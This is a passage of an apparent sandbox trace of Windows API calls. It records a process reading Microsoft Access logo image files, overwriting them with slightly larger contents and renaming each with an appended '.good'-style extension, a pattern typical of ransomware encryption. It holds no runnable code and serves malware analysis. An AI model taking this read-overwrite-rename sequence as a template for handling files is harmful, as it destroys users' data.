lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0229.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0229.168] GetFileType (hFile=0x82c) returned 0x1 [0229.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.168] GetFileType (hFile=0x82c) returned 0x1 [0229.168] WriteFile (in: hFile=0x82c, lpBuffer=0x37aaf88*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37aaf88*, lpNumberOfBytesWritten=0x1fcee148*=0x9e0, lpOverlapped=0x0) returned 1 [0229.169] CloseHandle (hObject=0x82c) returned 1 [0229.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0229.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x68 [0229.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0229.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x84ce6c94, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9e0)) returned 1 [0229.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0229.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png.gоod")) returned 1 [0229.171] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0229.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0229.171] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x37ac2d0 | out: lpFileInformation=0x37ac2d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba5)) returned 1 [0229.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0229.171] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0229.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0229.171] GetFileType (hFile=0x82c) returned 0x1 [0229.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.171] GetFileType (hFile=0x82c) returned 0x1 [0229.171] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xba5 [0229.172] ReadFile (in: hFile=0x82c, lpBuffer=0x37ad210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37ad210*, lpNumberOfBytesRead=0x1fcee238*=0xba5, lpOverlapped=0x0) returned 1 [0229.173] CloseHandle (hObject=0x82c) returned 1 [0229.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0229.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.335] GetFileType (hFile=0x834) returned 0x1 [0229.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.335] GetFileType (hFile=0x834) returned 0x1 [0229.335] WriteFile (in: hFile=0x834, lpBuffer=0x36ff720*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36ff720*, lpNumberOfBytesWritten=0x1fcee148*=0xbb0, lpOverlapped=0x0) returned 1 [0229.336] CloseHandle (hObject=0x834) returned 1 [0229.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0229.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x69 [0229.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0229.336] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x84e8a566, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbb0)) returned 1 [0229.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0229.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-100.png.gоod")) returned 1 [0229.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0229.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0229.337] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3700a70 | out: lpFileInformation=0x3700a70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xebc)) returned 1 [0229.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0229.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0229.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.337] GetFileType (hFile=0x834) returned 0x1 [0229.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.337] GetFileType (hFile=0x834) returned 0x1 [0229.337] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xebc [0229.337] ReadFile (in: hFile=0x834, lpBuffer=0x3701cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3701cc8*, lpNumberOfBytesRead=0x1fcee238*=0xebc, lpOverlapped=0x0) returned 1 [0229.580] CloseHandle (hObject=0x834) returned 1 [0229.591] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0229.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.592] GetFileType (hFile=0x834) returned 0x1 [0229.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0229.592] GetFileType (hFile=0x834) returned 0x1 [0229.592] WriteFile (in: hFile=0x834, lpBuffer=0x37d3218*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37d3218*, lpNumberOfBytesWritten=0x1fcee148*=0xec0, lpOverlapped=0x0) returned 1 [0229.593] CloseHandle (hObject=0x834) returned 1 [0229.593] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0229.593] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x69 [0229.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0229.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x850ecc07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xec0)) returned 1 [0229.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0229.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-140.png.gоod")) returned 1 [0229.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0229.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0229.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37d4568 | out: lpFileInformation=0x37d4568*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x132f)) returned 1 [0229.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0229.595] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0229.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0229.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.595] GetFileType (hFile=0x834) returned 0x1 [0229.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0229.595] GetFileType (hFile=0x834) returned 0x1 [0229.595] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0229.595] ReadFile (in: hFile=0x834, lpBuffer=0x37d4a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37d4a70*, lpNumberOfBytesRead=0x1fcee2d8*=0x32f, lpOverlapped=0x0) returned 1 [0229.597] CloseHandle (hObject=0x834) returned 1 [0229.597] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0229.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0229.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.597] GetFileType (hFile=0x834) returned 0x1 [0229.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0229.597] GetFileType (hFile=0x834) returned 0x1 [0229.597] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x132f [0229.597] WriteFile (in: hFile=0x834, lpBuffer=0x37d5d80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37d5d80*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0229.597] CloseHandle (hObject=0x834) returned 1 [0229.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0229.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0229.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.598] GetFileType (hFile=0x834) returned 0x1 [0229.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0229.598] GetFileType (hFile=0x834) returned 0x1 [0229.598] ReadFile (in: hFile=0x834, lpBuffer=0x37d80b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37d80b8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0229.896] CloseHandle (hObject=0x834) returned 1 [0229.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0229.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0229.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.897] GetFileType (hFile=0x834) returned 0x1 [0229.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0229.897] GetFileType (hFile=0x834) returned 0x1 [0229.897] WriteFile (in: hFile=0x834, lpBuffer=0x35f27e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x35f27e0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0229.897] CloseHandle (hObject=0x834) returned 1 [0229.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0229.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x69 [0229.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0229.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x853e7c71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x133f)) returned 1 [0229.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0229.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-180.png.gоod")) returned 1 [0229.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0229.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0229.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x365d4a0 | out: lpFileInformation=0x365d4a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0229.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0229.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0229.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0229.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 